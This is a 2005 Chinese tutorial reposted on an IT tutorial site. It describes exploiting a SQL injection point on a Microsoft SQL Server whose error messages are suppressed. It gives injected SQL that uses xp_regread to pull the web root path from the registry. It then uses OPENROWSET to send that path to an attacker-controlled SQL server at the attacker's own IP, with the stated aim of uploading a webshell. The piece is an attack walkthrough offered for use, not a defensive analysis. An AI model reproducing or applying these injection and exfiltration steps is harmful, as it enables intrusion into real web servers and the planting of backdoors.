中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 程序开发 > 编程语言 > 综合其它
突破SQL错误提示上传webshell
作者:未知 时间:2005-07-27 23:25 出处:CSDN 责编:chinaitpower
              摘要:突破SQL错误提示上传webshell

作者:疯狗   http://www.cnbct.org/

得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))--

在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

这样fenggou这个表里就会有这样一条记录SELECT a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a

不用说,''D:\WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM fenggou) exec (@a1);--

等于执行了SELECT a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a

OK,这时你在你机器上SQL事件追踪器上就会显示SELECT * FROM pubs.dbo.authors where au_fname='D:\WEB,,1'
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~
PS:如果出错的话转换为16进制试试哈.以上是在偶渗透失败,无奈的时候想的办法,也许高人早就知道了吧,笑过~


关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有